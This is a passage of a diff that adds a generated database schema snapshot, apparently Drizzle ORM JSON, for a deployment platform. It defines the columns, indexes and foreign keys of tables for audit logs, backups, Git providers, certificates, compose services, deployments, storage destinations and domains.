+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "auditLog_organizationId_idx": {
+ "name": "auditLog_organizationId_idx",
+ "columns": [
+ {
+ "expression": "organization_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "auditLog_userId_idx": {
+ "name": "auditLog_userId_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "auditLog_createdAt_idx": {
+ "name": "auditLog_createdAt_idx",
+ "columns": [
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "audit_log_organization_id_organization_id_fk": {
+ "name": "audit_log_organization_id_organization_id_fk",
+ "tableFrom": "audit_log",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "audit_log_user_id_user_id_fk": {
+ "name": "audit_log_user_id_user_id_fk",
+ "tableFrom": "audit_log",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.backup": {
+ "name": "backup",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "schedule": {
+ "name": "schedule",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "database": {
+ "name": "database",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "prefix": {
+ "name": "prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "destinationId": {
+ "name": "destinationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "keepLatestCount": {
+ "name": "keepLatestCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "includeEncryptionKey": {
+ "name": "includeEncryptionKey",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "backupType": {
+ "name": "backupType",
+ "type": "backupType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'database'"
+ },
+ "databaseType": {
+ "name": "databaseType",
+ "type": "databaseType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "backup_destinationId_destination_destinationId_fk": {
+ "name": "backup_destinationId_destination_destinationId_fk",
+ "tableFrom": "backup",
+ "tableTo": "destination",
+ "columnsFrom": [
+ "destinationId"
+ ],
+ "columnsTo": [
+ "destinationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_composeId_compose_composeId_fk": {
+ "name": "backup_composeId_compose_composeId_fk",
+ "tableFrom": "backup",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_postgresId_postgres_postgresId_fk": {
+ "name": "backup_postgresId_postgres_postgresId_fk",
+ "tableFrom": "backup",
+ "tableTo": "postgres",
+ "columnsFrom": [
+ "postgresId"
+ ],
+ "columnsTo": [
+ "postgresId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_mariadbId_mariadb_mariadbId_fk": {
+ "name": "backup_mariadbId_mariadb_mariadbId_fk",
+ "tableFrom": "backup",
+ "tableTo": "mariadb",
+ "columnsFrom": [
+ "mariadbId"
+ ],
+ "columnsTo": [
+ "mariadbId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_mysqlId_mysql_mysqlId_fk": {
+ "name": "backup_mysqlId_mysql_mysqlId_fk",
+ "tableFrom": "backup",
+ "tableTo": "mysql",
+ "columnsFrom": [
+ "mysqlId"
+ ],
+ "columnsTo": [
+ "mysqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_mongoId_mongo_mongoId_fk": {
+ "name": "backup_mongoId_mongo_mongoId_fk",
+ "tableFrom": "backup",
+ "tableTo": "mongo",
+ "columnsFrom": [
+ "mongoId"
+ ],
+ "columnsTo": [
+ "mongoId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_libsqlId_libsql_libsqlId_fk": {
+ "name": "backup_libsqlId_libsql_libsqlId_fk",
+ "tableFrom": "backup",
+ "tableTo": "libsql",
+ "columnsFrom": [
+ "libsqlId"
+ ],
+ "columnsTo": [
+ "libsqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_userId_user_id_fk": {
+ "name": "backup_userId_user_id_fk",
+ "tableFrom": "backup",
+ "tableTo": "user",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "no action",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "backup_appName_unique": {
+ "name": "backup_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.bitbucket": {
+ "name": "bitbucket",
+ "schema": "",
+ "columns": {
+ "bitbucketId": {
+ "name": "bitbucketId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "bitbucketUsername": {
+ "name": "bitbucketUsername",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketEmail": {
+ "name": "bitbucketEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "appPassword": {
+ "name": "appPassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "apiToken": {
+ "name": "apiToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketWorkspaceName": {
+ "name": "bitbucketWorkspaceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "bitbucket_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "bitbucket_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "bitbucket",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.certificate": {
+ "name": "certificate",
+ "schema": "",
+ "columns": {
+ "certificateId": {
+ "name": "certificateId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "certificateData": {
+ "name": "certificateData",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "privateKey": {
+ "name": "privateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "certificatePath": {
+ "name": "certificatePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "autoRenew": {
+ "name": "autoRenew",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "certificate_organizationId_organization_id_fk": {
+ "name": "certificate_organizationId_organization_id_fk",
+ "tableFrom": "certificate",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "certificate_serverId_server_serverId_fk": {
+ "name": "certificate_serverId_server_serverId_fk",
+ "tableFrom": "certificate",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "certificate_certificatePath_unique": {
+ "name": "certificate_certificatePath_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "certificatePath"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.compose": {
+ "name": "compose",
+ "schema": "",
+ "columns": {
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeFile": {
+ "name": "composeFile",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "refreshToken": {
+ "name": "refreshToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sourceType": {
+ "name": "sourceType",
+ "type": "sourceTypeCompose",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'github'"
+ },
+ "composeType": {
+ "name": "composeType",
+ "type": "composeType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'docker-compose'"
+ },
+ "repository": {
+ "name": "repository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "owner": {
+ "name": "owner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "branch": {
+ "name": "branch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "autoDeploy": {
+ "name": "autoDeploy",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabProjectId": {
+ "name": "gitlabProjectId",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabRepository": {
+ "name": "gitlabRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabOwner": {
+ "name": "gitlabOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabBranch": {
+ "name": "gitlabBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabPathNamespace": {
+ "name": "gitlabPathNamespace",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketRepository": {
+ "name": "bitbucketRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketRepositorySlug": {
+ "name": "bitbucketRepositorySlug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketOwner": {
+ "name": "bitbucketOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketBranch": {
+ "name": "bitbucketBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaRepository": {
+ "name": "giteaRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaOwner": {
+ "name": "giteaOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaBranch": {
+ "name": "giteaBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitUrl": {
+ "name": "customGitUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitBranch": {
+ "name": "customGitBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitSSHKeyId": {
+ "name": "customGitSSHKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "enableSubmodules": {
+ "name": "enableSubmodules",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "composePath": {
+ "name": "composePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'./docker-compose.yml'"
+ },
+ "suffix": {
+ "name": "suffix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "randomize": {
+ "name": "randomize",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isolatedDeployment": {
+ "name": "isolatedDeployment",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isolatedDeploymentsVolume": {
+ "name": "isolatedDeploymentsVolume",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "triggerType": {
+ "name": "triggerType",
+ "type": "triggerType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'push'"
+ },
+ "composeStatus": {
+ "name": "composeStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "watchPaths": {
+ "name": "watchPaths",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubId": {
+ "name": "githubId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabId": {
+ "name": "gitlabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketId": {
+ "name": "bitbucketId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaId": {
+ "name": "giteaId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "compose_customGitSSHKeyId_ssh-key_sshKeyId_fk": {
+ "name": "compose_customGitSSHKeyId_ssh-key_sshKeyId_fk",
+ "tableFrom": "compose",
+ "tableTo": "ssh-key",
+ "columnsFrom": [
+ "customGitSSHKeyId"
+ ],
+ "columnsTo": [
+ "sshKeyId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_environmentId_environment_environmentId_fk": {
+ "name": "compose_environmentId_environment_environmentId_fk",
+ "tableFrom": "compose",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "compose_githubId_github_githubId_fk": {
+ "name": "compose_githubId_github_githubId_fk",
+ "tableFrom": "compose",
+ "tableTo": "github",
+ "columnsFrom": [
+ "githubId"
+ ],
+ "columnsTo": [
+ "githubId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_gitlabId_gitlab_gitlabId_fk": {
+ "name": "compose_gitlabId_gitlab_gitlabId_fk",
+ "tableFrom": "compose",
+ "tableTo": "gitlab",
+ "columnsFrom": [
+ "gitlabId"
+ ],
+ "columnsTo": [
+ "gitlabId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_bitbucketId_bitbucket_bitbucketId_fk": {
+ "name": "compose_bitbucketId_bitbucket_bitbucketId_fk",
+ "tableFrom": "compose",
+ "tableTo": "bitbucket",
+ "columnsFrom": [
+ "bitbucketId"
+ ],
+ "columnsTo": [
+ "bitbucketId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_giteaId_gitea_giteaId_fk": {
+ "name": "compose_giteaId_gitea_giteaId_fk",
+ "tableFrom": "compose",
+ "tableTo": "gitea",
+ "columnsFrom": [
+ "giteaId"
+ ],
+ "columnsTo": [
+ "giteaId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_serverId_server_serverId_fk": {
+ "name": "compose_serverId_server_serverId_fk",
+ "tableFrom": "compose",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.deployment": {
+ "name": "deployment",
+ "schema": "",
+ "columns": {
+ "deploymentId": {
+ "name": "deploymentId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "deploymentStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'running'"
+ },
+ "logPath": {
+ "name": "logPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pid": {
+ "name": "pid",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isPreviewDeployment": {
+ "name": "isPreviewDeployment",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "previewDeploymentId": {
+ "name": "previewDeploymentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "startedAt": {
+ "name": "startedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "finishedAt": {
+ "name": "finishedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "errorMessage": {
+ "name": "errorMessage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scheduleId": {
+ "name": "scheduleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackId": {
+ "name": "rollbackId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "volumeBackupId": {
+ "name": "volumeBackupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildServerId": {
+ "name": "buildServerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "deployment_applicationId_application_applicationId_fk": {
+ "name": "deployment_applicationId_application_applicationId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_composeId_compose_composeId_fk": {
+ "name": "deployment_composeId_compose_composeId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_serverId_server_serverId_fk": {
+ "name": "deployment_serverId_server_serverId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_previewDeploymentId_preview_deployments_previewDeploymentId_fk": {
+ "name": "deployment_previewDeploymentId_preview_deployments_previewDeploymentId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "preview_deployments",
+ "columnsFrom": [
+ "previewDeploymentId"
+ ],
+ "columnsTo": [
+ "previewDeploymentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_scheduleId_schedule_scheduleId_fk": {
+ "name": "deployment_scheduleId_schedule_scheduleId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "schedule",
+ "columnsFrom": [
+ "scheduleId"
+ ],
+ "columnsTo": [
+ "scheduleId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_backupId_backup_backupId_fk": {
+ "name": "deployment_backupId_backup_backupId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "backup",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "backupId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_rollbackId_rollback_rollbackId_fk": {
+ "name": "deployment_rollbackId_rollback_rollbackId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "rollback",
+ "columnsFrom": [
+ "rollbackId"
+ ],
+ "columnsTo": [
+ "rollbackId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_volumeBackupId_volume_backup_volumeBackupId_fk": {
+ "name": "deployment_volumeBackupId_volume_backup_volumeBackupId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "volume_backup",
+ "columnsFrom": [
+ "volumeBackupId"
+ ],
+ "columnsTo": [
+ "volumeBackupId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_buildServerId_server_serverId_fk": {
+ "name": "deployment_buildServerId_server_serverId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "server",
+ "columnsFrom": [
+ "buildServerId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.destination": {
+ "name": "destination",
+ "schema": "",
+ "columns": {
+ "destinationId": {
+ "name": "destinationId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "provider": {
+ "name": "provider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "accessKey": {
+ "name": "accessKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "secretAccessKey": {
+ "name": "secretAccessKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "bucket": {
+ "name": "bucket",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "region": {
+ "name": "region",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "additionalFlags": {
+ "name": "additionalFlags",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "destination_organizationId_organization_id_fk": {
+ "name": "destination_organizationId_organization_id_fk",
+ "tableFrom": "destination",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.domain": {
+ "name": "domain",
+ "schema": "",
+ "columns": {
+ "domainId": {
+ "name": "domainId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "host": {
+ "name": "host",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "https": {
+ "name": "https",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "port": {
+ "name": "port",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 3000
+ },
+ "customEntrypoint": {
+ "name": "customEntrypoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "path": {
+ "name": "path",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "domainType": {
+ "name": "domainType",
+ "type": "domainType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'application'"
+ },
+ "uniqueConfigKey": {
+ "name": "uniqueConfigKey",
+ "type": "serial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customCertResolver": {
+ "name": "customCertResolver",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewDeploymentId": {
+ "name": "previewDeploymentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'none'"
+ },
+ "internalPath": {
+ "name": "internalPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "stripPath": {
+ "name": "stripPath",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "middlewares": {
+ "name": "middlewares",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "ARRAY[]::text[]"
+ },
+ "forwardAuthEnabled": {
+ "name": "forwardAuthEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "domain_composeId_compose_composeId_fk": {
+ "name": "domain_composeId_compose_composeId_fk",
+ "tableFrom": "domain",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "domain_applicationId_application_applicationId_fk": {
+ "name": "domain_applicationId_application_applicationId_fk",
+ "tableFrom": "domain",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "domain_previewDeploymentId_preview_deployments_previewDeploymentId_fk": {
+ "name": "domain_previewDeploymentId_preview_deployments_previewDeploymentId_fk",
+ "tableFrom": "domain",
+ "tableTo": "preview_deployments",
+ "columnsFrom": [
